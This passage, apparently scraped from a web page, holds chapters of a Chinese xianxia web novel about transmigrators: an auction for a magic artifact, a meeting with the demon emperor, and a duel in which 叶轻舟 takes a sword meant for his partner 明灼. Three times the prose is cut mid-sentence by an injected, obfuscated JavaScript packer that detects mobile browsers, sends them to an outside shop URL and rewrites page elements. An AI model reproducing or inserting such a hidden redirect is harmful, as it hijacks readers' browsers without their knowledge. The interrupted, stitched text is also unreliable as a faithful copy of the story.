她一个后勤厨子,来赶侍者的活,自然是因为前台缺人,临时工不敢直面魔修。 她最后确认了一下门牌:五号包厢,相思楼。 轻敲三下,君瑶推门而入。 五号包厢里坐着一个身着黑衣的女人,腰间别着一把剑。视线刚从外面的镜花水月转移到君瑶身上,一双深红的眼瞳,像干涸的血。 一看就不好惹,君瑶努力降低自己存在感,轻手轻脚摆盘。 “劳驾,”黑衣女人开口,她的声音有些低哑,带着几分温和:“我来迟了,不知今年魔界使者是哪位?” 君瑶本已经起身准备开溜,脚步一顿,心想还好我看过灵网八卦:“是魔界圣子的两位眷属,未说名姓。” 两位,黑衣女人轻轻哦了一声,她看向君瑶,含笑道:“阁下若有空,可否陪我同观此会?” 我只是临时工!君瑶下意识想拒绝,但是电光火石间她突然想起《神魔》原著里的描写:黑发,红眼,双剑,魔修……她瞪大眼睛看向女人的腰间,只有一把剑,不是两把。 难道她就是……君瑶的求生本能让她迅速找出理由: “我,我去问问领班……” 她下意识后退,那些被她忽略的细节重新闯进她的五感:虽然被女人压制但是仍能察觉到的魔气与杀气,前者绝非君瑶一个三界境能反抗,后者更是让她久违地想起原身全家被灭门那日的惨状。 “不必,”黑衣女人含笑截断她的退路:“你们城主已经同意了,君瑶道友。” 她示意君瑶坐下,自我介绍道:“我姓容。” 在魔界,只有一个人能姓容。 魔皇,容与。 君瑶瞬间脸色煞白,哪怕她的理智清醒地明白容与根本不会,也不屑于杀她这样的无名小卒。 她不能拒绝,也不必恐慌。 容与将君瑶脸上的慌乱与坦然尽收眼底,她仔细打量着对方的容貌举止,年轻,活泼,有着自己的故事。 她来得不算晚,容与把视线转向琅琊台,温声道:“你认为谁会得到镜花水月?” 场上的叫价已经从起拍价五十万飙升到五百万,明见燕与玄明孟以及人间皇室争得不可开交。 君瑶只听见自己怦怦作乱的心跳,嘴快回答道:“应该是魔界?” 她说完就后悔了,因为四楼魔界使者那个包厢到现在没有叫过一次价。 希望这位魔皇陛下不要因为她一句话就血流成河,君瑶在心里摇着那个不顶用的系统,你倒是给我出出主意啊! “我也觉得。” 容与的回答出乎意料,她依旧在看君瑶,那双红宝石般的眼睛里有太多太多君瑶读不懂的东西。 “毕竟她想要的东西,无论付出何种代价,都会得到。” 她在说谁?魔界使者是魔皇熟人? “一千万。” 一个熟悉的,不容置疑的女声从四楼包厢传来,君瑶猛然循声望去,只看到一个带着兜帽的魔修与她身后同样带着半截面罩的黑衣人。 魔界使者,居然是明灼与叶轻舟?! * 此时四楼包厢里的叶轻舟同样心跳加速。 本来就被孟十八一句“你喜欢”整到蹲墙角傻乐,现在听她报价更是心跳一百八。 “别担心。”孟十八余光看到叶轻舟遮脸都挡不住的心疼样,“龙离渊说了无论代价,相比其他,这已经是最小代价了。” 比起事后抢夺甚至暗杀,走正规途径拍卖确实是最小代价了,虽然前者才是他们的职业。 人间皇室已经退出竞争,燕南陵与孟景驰的视线都投向孟十八。 前者出于愤恨,后者权衡利弊。 一时间拍卖会陷入短暂的寂静。 叶轻舟如芒在背,任谁披着马甲被师尊审视都会像他这样煎熬,好在脸上的面罩挡住他抽动的嘴角,索性拿出上辈子的面试经验,你看我,我就看你的头冠。 好在孟安风没有认出他,他神情淡漠,眼中有些不耐,这位在云霄门不理俗世的长老将更多的精力放在观察镜花水月上。 孟景驰先动了,他拱手行礼,朗声问道:“在下孟景驰,请问阁下大名?” 所有人都以为龙离渊会亲自前来,可是她居然不在,派来的手下也非记录在榜的魔将。 她是谁? 整个晚上,半个拍卖场的人都在揣测孟十八的身份。 燕南陵心中嗤笑,他当然可以继续报价,打断这场毫无意义的寒暄。 “一千一百万!” “明灼。” 两道声音同时响起,孟十八说罢再次举牌:“一千二百万。” 叶轻舟松了口气,还好她没说出孟十八这个名字,不然看上去很像孟家内讧,他再一次吐槽作者偷懒,居然把神尊魔尊都设定成孟。 “一千三百万。”孟景驰随即跟上,“明灼道友,何不以真面示人?” 当然是那个女人居心叵测,也是因为你这个神神叨叨的家伙不配。燕南陵向来看不上这个和自己争第一的同龄人,直接起身:“一千五百万。” 这问的也太冒犯了吧,叶轻舟下意识往前一步挡住孟家人的视线,顺便打量了一下孟景驰:清秀俊朗,也就那样。 同样仰着头看个仔细的还有五号包厢的君瑶,她原本紧张的心随着拍卖进行而淡定下来,魔皇陛下也不曾为难她,甚至在楼上报价的时候为她讲述了镜花水月的由来。 “碧落黄泉,镜花水月,”容与问她:“你信哪样的情意?” 君瑶还真想了想,答道:“一真一假,自然选真的。”她不好意思地笑了笑:“毕竟谁不喜欢一场刻骨铭心的感情?” 她以前玩游戏的时候就喜欢这一套,爱要撕心裂肺,要两败俱伤,要此生此世终难忘。 如今穿越到此,虽然这个不靠谱系统没法给她提供情绪价值,但是不妨碍她欣赏啊。 容与凝望着她:“原来如此。” 难怪如此。 她一颔首,不再提起,示意君瑶继续关注拍卖,价格已经涨到了两千万。 “两千两百万。” 孟十八想起了沧波望远。 他们的堂主拍下那块万魂幡碎片,用了两千两百万。 而在第二天,他就死在自己的剑下。 她不应该再竞价了,她能找到更适合、更擅长的解决方法。 无论对手是孟景驰,还是燕南陵。 她重新审视着自己的对手,初出茅庐的少年,出类拔萃的天赋,与万里挑一的身世,若说不同,性格上确实天南海北:孟景驰眉眼温和,言语带笑;燕南陵说话夹枪带棒,刻意针对。 “怎么了?”叶轻舟俯身询问,“你不拍了?” 孟十八嗯了一声,最后喊出一个价:“两千五百万。” “没有必要。”她回答叶轻舟。 燕南陵忍无可忍,起身一指,底下响起一片抽气声。 ——点天灯。 不惜一切代价的,还有他燕南陵。 他一定要拿到镜花水月,他一定要找到碧落岛。 他一定要赢过孟景驰,让明见燕成为真正的仙界第一世家。 他一定要赢过明灼,赢过自己这颗不甘的心。 燕南陵挑衅地看向孟十八,隔着厚重的兜帽,他试图找到一点不甘心,像他之前一样的不甘。 可是没有,孟十八对于他的挑衅,只有一个回应—— 她拉上了包厢的幕布。 她放弃了,放弃了叫价,放弃了镜花水月,放弃了琅琊盛事的至宝,放弃了与他燕南陵的斗法。 她凭什么放弃?凭什么又一次冷眼看着燕南陵的表演而无动于衷! 幕布后,孟十八摘下兜帽,冷静地调出明见燕所宿酒楼的地图:“两个办法,第一抢下地图,你现在就去那里埋伏侦查。第二,跟踪燕南陵,他一定会孤身去碧落岛。” “为什么?”叶轻舟发问:“你这么确定?” “因为他就是这样的人。” 孟十八将界面切回灵网,开始浏览其他商铺信息:“材料还需要补充,你……” “我和你一起去。”叶轻舟下意识接话。 “我有个办法。”他抽出随身携带的传送符,“其实我可以直接传送到燕南陵身边,无论他在哪里。” 他本就擅长传送符 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这下叶轻舟心里紧张,生怕他师尊发现孟十八真实身份,孟景驰更加兴味盎然,都等着孟安风的下一句。 “道友名字,具体是哪两个字?” 孟十八无意隐瞒:“日月为明,灼灼其华。” “可有姓氏?” “无母无父,自然无姓。” 叶轻舟在心里为她暗暗捏了把冷汗,凭他在云霄门的经验,师尊这是真的认真了。 认真查户口?开玩笑吧?叶轻舟对系统吐槽,师尊什么时候开这个业务了? “好一个无父无母。”孟安风不再追问,目光停在孟十八身后的叶轻舟,又落回到孟景驰:“交易已结,我们走吧。” 孟十八同样迈步离开。 叶轻舟连忙跟上,与孟安风擦身而过瞬间,袖中多了什么东西。 等走到无人的走廊上,叶轻舟才拿出来一看究竟: 【轻舟:勿忘来时路。】 叶轻舟吓出一身冷汗。 师尊认出他了,师尊知道他在魔界,他现在是魔界使者,名义上甚至算得上圣子殿下的人。 师尊会怎么处置他?把他开除云霄门?还是干脆废掉他的修为? 但是最让他担忧的是,刚刚师尊是先问了孟十八的名字,才认出他? 这是什么原因?是师姐告诉他了? “明灼,”他小跑几步跟上,“你有告诉玉师姐你这个名字吗?” “没有,怎么了?” “没事。” 叶轻舟摇摇头,把疑问埋在心里。 “你在这啊。” 上扬的,熟悉的男声响起。 燕南陵站在走廊尽头等着他们。 “明灼,我知道你要什么。” 他伸出手,那是一个邀战的姿势,是挑衅,是兴奋,是期待也是笃定。 “和我打一场,你赢了,可以和我去碧落岛。” “不是我。” 孟十八理所应当地说。 “是我们。” 叶轻舟的心跳乱了一拍。 29. 约战 燕南陵从未注意过叶轻舟。 这个男人跟在明灼身边,比起同伴更像随从,腰间挂的宝剑倒非凡品,但只看他手便知此人绝非剑修。 虽然小荷告诉燕南陵,叶轻舟如今亦是三重境,但是十八岁的三重境是天资卓越,二十二岁的三重境只能叫平庸之辈。 更何况燕南陵十六岁的时候就已经迈入三重,如今尚未突破不过是他卯了劲在等仙盟大比。 但现在明灼要带上他去碧落岛。 燕南陵嗤笑道:“明灼,现在镜花水月在我手上,你拿什么和我讲条件?” 他在等明灼的剑出鞘,他知道琅琊台内不许私斗,他偏要激怒对方。 “因为你需要我。” 孟十八对他的挑衅视而不见。 “没有魔修,你们打不开镜花水月。” “你怎么知道!” 又输一局,燕南陵咬牙切齿,为什么又输一局,这个女人到底知道多少?她在魔界到底什么地位? 没有人知道她的身份,仙盟不知道,魔界也不知道,明灼这个名字从未在三界出现过。 “咳,”叶轻舟凑到孟十八耳边:“这里不是说话的地方。” 灵网上花无定和苏横流正在催他们,花无定更是大呼遗憾,早知道去后台取物这么费尽周折,不如带她去长长见识,好写在新一期的痴雨文章里。 剑拔弩张的氛围被单方面戳破,孟十八略一颔首,对燕南陵道:“提前联系。”说罢竟是直接与他擦肩而过,没有半分在意。 “你!” 燕南陵伸手欲拉,却觉面前寒光一现。 一缕青丝缓缓落入他手中。 她是什么时候…… 她到底有多强?她到底能不能被战胜? 她真的……能杀了他! 燕南陵心中掀起惊涛骇浪。 * 花无定坐在窗边百无聊赖地拣花生米,看到孟十八与叶轻舟一前一后走过来,打趣道:“哟哟,换了一身呀。”她点评起来:“俊俏剑修,青衣书生,哎呀这在江湖上也是一段佳话。” 苏横流装聋作哑,招呼一声让后厨起菜,把菜单推过去:“不够再点。” 她俩散场才走,花无定听了一箩筐的八卦,尤其是关于镜花水月。 “你们知道为什么玄明孟没有和明见燕争吗?”花无定示意其他三个脑袋凑过来,神神秘秘道:“因为啊—— 《子归笔记》根本不在碧落岛!” 她说完洋洋得意地等着反馈,却见苏横流缩回脑袋专心烫碗;孟十八点点头表示知道,注意力移回菜单;只剩下叶轻舟是真心实意地好奇问道:“那是什么?” 花无定眼睛一亮,推了推苏横流换位,眉飞色舞地给叶轻舟从昆仑讲到玄明孟,从神尊陨落科普到《子归笔记》,边说边吃,口齿清晰,条理分明,最终一杯饮料下肚,总结陈词:“这上面最重要的内容,就是魔尊如何杀了神尊。” 【资料卡·孟危,已更新】 【常驻任务:弑神背后,已接取】 【任务内容:你想起在魔界的时候,魔修们回忆往昔都是从孟危一剑捅穿神尊开始,历史上真的是这样吗?不如来找找答案吧!】 【任务奖励:万魂幡碎片x1,特殊称号x1,某人遗失的记忆碎片x1,灵石x9999】 叶轻舟听着脑子里系统叮叮咚咚报信,差点维持不住脸上的表情:什么叫万魂幡碎片是任务奖励!你是说在我寻找万魂幡的道路上把万魂幡当成奖品给我吗!? 【常驻任务不属于主线任务,奖励合理】 苏横流把鱼肉塞到花无定嘴里:“花痴,你让人家吃口饭吧。” 叶轻舟把视线转回桌面,发现花无定唠嗑的功夫,桌上已经摆满了盘子,只不过基本都空了。可怜他一个老实人,听了半天连口水都没喝。 一个青瓷碗被推到他面前,里面装满了各种菜肴,叶轻舟没反应过来,愣愣转头。 孟十八眼里有一丝疑惑,以为他没理解,把碗又推了推说:“吃。” 明亮的灯光落在层层雾气上,也落在孟十八的眼睛里,常年与夜色为伴的杀手在理所当然地照顾自己的搭档,而叶轻舟在市井喧嚣里回望着她。 他想说谢谢,但他想说的不止这些。 他夹起一块肉放进嘴里,慢慢咀嚼,孟十八还在看他,似乎在等什么。 “好吃。”他轻轻说,哪怕他什么味道都没尝出来。 孟十八满意地收回视线,没有照顾人的经验,但她记得——明灼记得,对身边人就应该这样,在比雪山更模糊的记忆里,有人坐在她旁边,把菜堆在她的饭碗上,嘴里还念叨着多吃肉长身体。 不是在终年冰封的雪山,不是温柔却冷寂的师尊,是在更温暖,更明亮的地方,有个温柔的女人坐在她对面…… 那个人是……妈妈吗? 一定是吧,不然她为什么会在米香扑鼻,人声鼎沸的时候想起来。 她会找到她,找到那个让自己念念不忘的归处。 她听到花无定的推测,但《子归笔记》就算不在碧落岛也无妨,她总能找到蛛丝马迹,找到与昆仑,与明灼,与母亲和她的过去。 “诶,你们还在吃啊。”君瑶拎着饭盒过来,毫不客气地往花无定身边一挤,“聊什么呢?让个位,我快饿死了。” 被魔皇陛下那么盯着半场,她早就消耗过大需要能量补充,等回到后厨又忙前忙后专注灶台,现在可算缓口气能找个地方解决吃饭。 “在聊八卦。”花无定兴致勃勃给她补课。 “这算什么,小意思。”君瑶往嘴里塞肉,反正在座各位都是长乐坊共犯,杏眼一眯道:“你们知道我看见谁了?” 四双眼睛盯着她。 君瑶比了个五,“相思楼你们知道吧,就在三楼五号包厢。”她压低声音: “魔皇陛下就坐在那里。” 苏、花、叶三人齐齐倒吸冷气。 叶轻舟心里戚戚,心想不会是魔皇陛下亲自监工吧,他连忙看向孟十八,又没法当众自爆马甲,只能小声问:“你怎么看?” 花无定脑子转得快,也看向他们:“你们没拿到镜花水月,不会回去受罚吧?关水牢?辣椒粉?” “不知道。”孟十八对容与的认识只停留在表面:“我能去碧落岛,会拿到地图。” “肯定是姓燕的小子找你。”花无定往前探着身子问:“要不你带我去呗,让我长长见识。” 苏横流用胳膊肘捣她:“你就别添乱了。明灼,你身份特殊,小心和明见燕起冲突。” 君瑶一想到老乡还是魔皇手下,心中原先那点担惊受怕也渐渐消散,转而向叶轻舟描述起容与的长相,唯一和原作不符的双剑变孤剑被她着重强调。 这也太精彩了,原著男主与二号反派同时出现,居然什么也没有发生。 “可不嘛,”花无定又捞了一筷子的菜,幸福得眯起狐狸眼:“不过君瑶啊,你看见了没,我们小明灼豪掷千金,拍下珍宝奇印,现在就挂在我们叶道友腰上呢~” “还是千鸟印,四舍五入也是《侠女天涯》的衍生作品哦~” “《侠女天涯》?这么老的书?”君瑶从脑袋里扒拉出点印象:“这书有五六百年了吧?” “少了,”苏横流停下筷子加入其中:“一千年。瑶花琪草写这书的时候昆仑还在。” “这么早?”君瑶掰着手指算,一千年是唐宋元明清,封建王朝的一半时间:“难怪我没看过,讲什么的?” 苏横流发挥专业素养,接过叶轻舟递来的千鸟印,边品鉴边科普,君瑶就简单多了,上手一摸对光一看,顺口道:“这不小飞燕吗?” “什么小飞燕?燕窝吗?”花无定边吃边问。 “这是千鸟草。”苏横流正经科普。 “对啊小飞燕就是千鸟草。” 君瑶眨巴眨巴眼睛,打开灵网去找《侠女天涯》原著。 花无定啧啧称奇:“确实挺像燕子的,你说明见燕和你们争不会是为了这个吧?” 叶轻舟尬笑一声,他可是知道燕南陵只针对孟十八,真是烦人,燕南陵一个原著男主,就该好好地提升自己实力为以后面对魔尊做准备啊,天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17355700|196813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天盯着他搭档干什么? “不是。”孟十八在边上回:“燕家主修刀剑。” “哎呀叶轻舟,帮个忙,”君瑶插入话题,冲叶轻舟使个眼神,“跟我去后厨捞点吃的。” 伴随着花无定和苏横流闲聊声,叶轻舟不明所以地被君瑶带到安静的杂物间。 “怎么了?你的系统有反应了?” 君瑶摇摇头,从头说道:“苏老板说千鸟草是小说虚构的,对不对。” 叶轻舟点点头。 君瑶叹气道:“老乡,这是小飞燕,我们那花店就有卖,三十一把。” 而且,她把光幕放到他眼下:“小飞燕的来历就是难民遇害,魂魄化为飞燕,飞回故乡,化成飞燕草。”和《侠女天涯》里的剧情一模一样。 君瑶和叶轻舟对视,两个人都想到一个可能: 《侠女天涯》的作者瑶花琪草,和他们一样是个穿越者! 甚至花神系列的瑶师,也可能是他们的老乡! 一想到这个可能,两个现代人都一时失言,毕竟岁月悠悠,斯人已逝。 “我想起来一件事。”叶轻舟看着君瑶搜出来的瑶花琪草的画像,喃喃道。 “我好像,在哪里见过她?” ……奇变偶不变,符号看象限。 是万魂幡,是他第一次接触到万魂幡的时候,看到的那个女人! 叶轻舟靠在墙上,心脏砰砰狂跳,这到底是怎么回事?他在万魂幡看到的穿越者是瑶花琪草,可是为什么在记录里寿终正寝的老乡会出现在万魂幡里?是孟危杀了她吗? 他一直以来想找的同类,有的已经死在孟危手下了吗? 那他又为什么要背负着所谓救赎魔尊的任务?他为什么要去救一个杀他同乡的魔头?! 系统没有回答,只有冰冷进度条提示着: 【主线任务:救赎灭世魔尊,15%】 凭什么?凭什么?! “叶轻舟?你还好吗?”君瑶见他神情痛苦,“你认识她?” “我……我见过,但……”叶轻舟没法说出口:“是魔尊杀了她,一定是……” 君瑶睁大眼睛,忙道:“可是她在世的时候,还没有魔尊啊。” 但是我在魔尊的万魂幡里看见了她! “我不知道……但是我看到了……或许就是她,她们长得很像……” 他该怎么办,他该怎么面对系统的任务,面对他的搭档?他不愿助纣为虐,可也无法让孟十八停下。 他从未如此清晰地认识到,他和孟十八并非同类,他不是魔修。 他该怎么办?叶轻舟茫然地想,他在做什么,他所做的一切都是为了什么? 【用户完成主线任务,即可返回原世界】 叶轻舟发出一声似笑非哭的气音。 君瑶不知缘由,只能安慰道:“说不定她已经回现代了呢,小说不都这样写吗?穿越者眼睛一闭一睁就回家了。” “要不我们问问系统?” “它告诉我,完成任务,就能回去。” 光幕映出叶轻舟苍白的脸: 【资料卡·瑶花琪草,已更新】 【资料卡·《子归笔记》,已更新】 【常驻任务:选择,待完成】 【任务内容:她是万魔至尊,她是仙盟仇敌,爱她,或恨她】 【你恨孟危吗?】 【任务奖励:尚未开启】 他恨孟危吗? 他不知道。他不认识孟危,在仙人两界,她是杀人如麻的魔头,在魔界,她是民心所望的尊主,在他混乱的推理下,她牵扯进另一个穿越者的死亡。 他恨搅碎魂魄的万魂幡,恨系统,恨系统把他与这个魔头捆绑在一起,可是他恨孟危吗? 他不知道。 太巧了,系统的任务来得太巧,好像在等他去恨,等他去选,没有开启的任务奖励是什么,他要承受的又是什么? 他按下返回键,不再去看那个任务。 我该做什么?叶轻舟茫然地想。 我要回去,回到孟十八身边。 30. 挡剑 叶轻舟看见一片尸山血海。 万魂幡迎风猎猎,吞噬着魂灵最后的哀嚎。 他看见许多陌生的人,有仙有魔,他看见许多熟悉的人,君瑶、师姐、忍冬、武陵相识的道友、长乐坊共谋的朋友…… 还有孟十八,她背对着他,像一朵凋零的花。 他手里没有剑,他脸上没有泪,他只是一直在向前走,沿着累累白骨往上攀爬。 他看见孟危的背影,魔尊的背影,他想嘶吼,咆哮,却发不出声。 孟危转头,无脸的魔尊看向他,血从他的眼里流下。 【你不是要救我吗】 叶轻舟陷入空茫的黑暗,回到熟悉的人世。 即使睁开眼,脑中也依然闪回着梦境的碎片,尸骨,万魂幡,孟十八,和无脸的魔尊。 越想忘,越忘不掉。 他支起身,胡乱打开灵网,明灼的名字是亮的,她还活着,叶轻舟重重地吐出一口气,又觉得自己傻,孟十八当然活得好好的。 他又打开系统转移注意力,每个字符蹦到他视线里都是魔尊的碎片。 之前从拍卖会上得到的奖励不知道什么时候已经被领取,成就名、灵石被他随手划过,翻到物品栏时勉强想起还有个盲盒。 他去戳系统,物品栏怎么没东西。 【梦里不知身是客,已使用】 【物品介绍:是梦非梦,你不过行人。使用后会在随机一次梦境里看到特定角色记忆碎片,但受到用户本人认知影响,因人而异,以实际效果为准。】 他想到刚刚的梦,大部分情节已经被淡忘,但是魔尊阴恻恻的话还固执地盘桓在他的脑海里。 那是真实的记忆,还是他扭曲的恐惧,又或者只是一场噩梦? 【随机梦境,受本人认知影响,因人而异】 叶轻舟把这句话反复看了几遍,知道自己没法从系统里抠出准确回答,索性眼睛一闭,手握成拳抵在脑门,让自己冷静下来。 【隐藏剧情:南燕-2】 【任务说明:你当然清楚孟十八的实力,但男主才是世界的基点,他要是没了,大家都要一起完蛋。】 【从孟十八剑下保护燕南陵】 【任务奖励:沉浸式cosplay道具x1,灵石x9999】 保护燕南陵?叶轻舟难以置信,这都是什么鬼任务?这种奖励又是什么东西?他猛戳系统要个解释,但是对方一味装死,只当复读机。 他还不了解孟十八吗?他的搭档虽然是杀手榜首,但也不会滥杀无辜之人,和燕南陵的比试只是为了镜花水月,要是真有杀心,燕南陵现在都该过头七了! 原先噩梦残留的惊惧被不屑占领,叶轻舟在心里嘀嘀咕咕地骂着系统不靠谱,迟早把你拆了! 时辰尚早,楼下只有寥寥几人,孟十八独坐窗边看着灵网。 “醒了?”孟十八眼都不抬,“燕南陵约了时间,我们一起去。” 哦,叶轻舟瞄了她一眼,神色如常。 “昨晚君瑶和你说了什么?” “哦,没什么,”叶轻舟一边低头点单一边回:“她去包厢的时候听到你喊价了,所以知道咱俩是魔界人。”他没说瑶花琪草的事,“担心你没拍下镜花水月会不会受罚。” “那个真的是魔皇陛下吧,”他又问了一遍,“君瑶说她黑发红眼,腰间一把剑。”魔界传闻与原著小说里容与是用双剑。 孟十八的回答是把相思楼的情报传给他看。 “看来没认错。”他舀着豆腐脑,食不下咽,想起自己的噩梦,想起莫名其妙的任务,闷声问道:“如果,明灼,如果有天你要去救一个害过你身边人的人,你会救吗?” “不会。” 孟十八想也没想:“他该死。” “那你会救一个不救他你就要死的人吗?” “谁指使,我杀谁。” 叶轻舟叹了口气,语气带着惯用的无奈:“也是,还是你这样简单。”他又咬了一口油条,慢慢嚼着,盯着桌上的纹路,不知道在和谁较劲。 孟十八颦眉看着叶轻舟,食欲不振,表情恹恹,她把糖罐往前推了推。 “有人欺负你要告诉我。” 叶轻舟知道这种硬邦邦的表达是孟十八的关心,他笑了笑,咽下食物。 “我知道,不会的。” 他起身伸了懒腰:“走吧,去提前探探地形。” * 燕南陵选在了琅琊城外。 视野开阔,没法掩藏,坦坦荡荡,叶轻舟绕了一圈,职业病犯了,指出若干适合布阵与埋尸的地方。 “我可没那么无耻。” 燕南陵没带随从,一人一剑赴约,眼睛很亮,浑身散发着古怪的亢奋。 他见明灼身边还是那个叶轻舟,哼笑一声:“你当裁判。” 叶轻舟自然无异议,他布下结界,把三人包围其中,示意开始。 燕南陵先动了,他的剑华美且锋利,剑柄上刻着含苞欲绽的芙蓉。 他的剑是天才的剑,意气风发,如春风十里,花开满堂。 可明灼没有拔剑,破军在剑鞘里沉默,她脚下步伐微动,已经让燕南陵无法近身。 她没有把自己当对手,她把这场比武当成了玩闹。 燕南陵厉声道:“拔剑!” 拔出你的剑,不然这根本不是比武。 “不用。” 明灼总是能用最平淡的语气说最气人的话: “赢你,不需要剑。” 凭什么?为什么?她怎么又是这样! 燕南陵的剑变快了,剑招百转千回,越来越狠,带着他的怨气,他的不甘。而明灼好像被困在剑阵里,又好像只是在和孩童玩闹,配合他的游戏。 我要赢你,我一定要赢你,哪怕只有一招,哪怕只有一剑! 一招,十招,他永远在她方寸之外,连片衣角都触碰不到。 他的呼吸越来越急,他的剑不再讲究招式。 “够了,”明灼用剑鞘挡下攻击,“你会输。” 她依旧没有拔剑,因为燕南陵伤不到她。 他太年轻,虽然天赋异禀,精通各路剑术,也能融会贯通,但是他没有杀过人,他不知道真正的比试不是招数,不是修为,是生死。 到此为止就好,明灼在意的不是胜负,只有镜花水月。 她不知道自己的态度更加激怒了燕南陵。 他不能忍受这样的失败,他不愿承认自己的失败。 到底要怎么样才能赢过她?到底怎么样才能证明自己! 明明我才是修仙界的天才,是未来的救世主,为什么我会输给一个籍籍无名的魔!为什么她的眼里根本就没有我! 他再一次与她擦肩而过,他看见那双比秋水更冷的眼眸。 和长乐坊初遇时一样,和对峙时一样,那么漫不经心,那么高高在上。 他看见了明灼,却看不见自己,他听不见世界,只听见了自己心中的声音: 杀了她,她就能看见你了。 他的剑变了,那当然是一把杀人的剑,神兵饮血方得名。 他当然能杀魔修,他是在为民除害,他是在伸张正义,只要杀了她,杀了她就不会再有人敢这样看自己,杀了她就能证明我是强者,杀了她我的剑我的心我就能得到真正的解脱。 他的剑越来越狠,每一招都取人性命,每一式都直逼死穴,他在呼啸的风里大笑。 他不在乎了,这一刻他什么都不在乎,他只要杀了明灼,杀了那个眼中从未有他的女人,把那份傲慢轻视彻底砸碎。 蕴含着所有恨意与不甘的一剑从他手中脱出。 “噗——” 叶轻舟没有看清那一剑,千鸟印在手中发烫,袖中的灵符随念而起,他忘了系统任务,忘了孟十八是相思楼未尝一败的杀手,忘了她曾经独战神木,劈开天地结界。 他低下头,燕南陵的剑穿过他的肩胛骨,流出的血像是芙蓉哭泣流下的泪珠。 他只是下意识,挡在孟十八面前。 溅射出的鲜血唤醒了燕南陵,他脸色煞白,踉跄着后退,亢奋褪去,迟来的神智攥紧他的心脏,他做了什么?他真的想杀了明灼,也真的差一点就杀死了叶轻舟。 “我……我不是……我……”他想把剑拔出来,又想去找药捂住那个伤口,可是他的手在抖,他不知道该怎么办,他不知道自己在做什么,那双意气风发的眼眸里溢出真实的恐慌。 这只是一场比试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶轻舟无法回答,他知道,他当然知道,可他没有办法。他下意识避开孟十八的视线,低声道:“因为你不是这样的人。” 她就是这样的人。 孟十八没有再说话,她稍微调整了姿势让叶轻舟能考在她怀里,那双杀人的手此刻也温柔地怕伤到他。而对于燕南陵,她只留下一个字: “滚。” 不该是这样的,燕南陵狼狈地捡起地上的剑,手一抖,剑柄再次落地,半朵芙蓉花埋在土里,连带他都跌坐在地,起不来身。 不该是这样,为什么,为什么他会做出这种事,为什么……他想起那双杀人的眼睛,我到底该怎么办?我还剩什么? 对,还有碧落岛,他还有镜花水月,他还能去碧落岛,他还是明见燕的天之骄子,在那里,他一定…… 他一定能找到办法。 * “我真的没事,”叶轻舟小声解释,他胳膊还没好全,可怜兮兮地绑着绷带:“我们毕竟不在魔界,这也不是老板的任务,多一事不如少一事……” “他想杀我。”孟十八给绷带收紧打结:“他差点杀了你。” “这不是没成……”叶轻舟自觉闭嘴,他不能说这是系统在捣乱。“我知道,但是杀了他会很麻烦。” 他拿出千鸟印递给孟十八看,转移话题道:“你看多亏它,把我身上带的防御符自动加固五重威力呢。”他试图让孟十八相信都是因为她好心为自己拍下千鸟印才有今天福大命大。 “你……” “我肯定和你一起去碧落岛。”叶轻舟立刻接话,好不容易才从她口中听到个我们,他又不是傻子,绝对不要在后方养伤。 “我们可以进去后就用法器把他捆起来带路,二对一,我们占优势。” 孟十八定定地看着他。 “为什么拦我?” 她见叶轻舟面露苦笑,又问:“为什么救我?” 她把药碗搁到一边,没等他回答就起身离开。 于是那些问句随着药香一同坠入叶轻舟心里。 31. 碧落 孟十八问他:“为什么救我?” 这绝对不是最好的时机,叶轻舟知道孟十八背负着魔界的任务,还有空白的过去,他知道自己仍未放下仙门身份,肩上同样压着不能说的秘密,可是他要说,他的心跳得厉害,他的手指在发颤,他的声音在发抖,又明亮得不像他本人。 “因为我喜欢你,孟十八,明灼,我喜欢你。” 从你第一次救下我,从相思楼的搭档,到武陵的生死托付,到长乐坊里,你所落在我身上的一束光。 他迫切地,想从她眼里要到一个答案,哪怕是拒绝,哪怕是厌恶,他不怕这些,他只怕—— 他只怕孟十八眼里没有他,他只怕自己是可以随时被放弃,被替代的那一个。 可是他看不清孟十八的眼睛,那双比黑夜更深的眼眸里是一片浓雾,他看不清孟十八的脸,模糊得像一场未竟的黄粱梦,他下意识想靠得更近些,再近些。 “孟十八,我……” 叶轻舟因为说出记忆里没有的话而陷入又一场黑暗中。 * 叶轻舟不见了。 孟十八摇了摇身上的铃铛,没有回应,被她派去寻踪的破军剑缩头缩脑地蹭着她的衣袖,显然也没有消息。 “看来你身上的宝贝也不过如此。”歪斜在树下的燕南陵嗤笑一声,他半阴着脸,看孟十八找人的样子不免生出点阴暗的快意:这女人武功超绝又如何,不还是连身边的拖油瓶都看不住吗? 镜花水月开启需要仙魔双力,找到碧落岛位置更是需要二人同心,燕南陵知道叶轻舟也是仙门出身,和明灼配合自然最佳,但他仗着手握地图,所以点名要明灼和他同开。 于是一阵乱流之后,等燕南陵再次睁开眼时,见到的就是横在自己脖上的破军剑,与脸色阴沉的明灼。 碧落岛山清水秀,呼吸间都是充盈的灵气,燕南陵随手拽根草,里面的灵气都够在市面上卖十两银子,可谓是遍地黄金,洞天宝地。 而明灼这个死脑筋只在乎为什么叶轻舟不在。 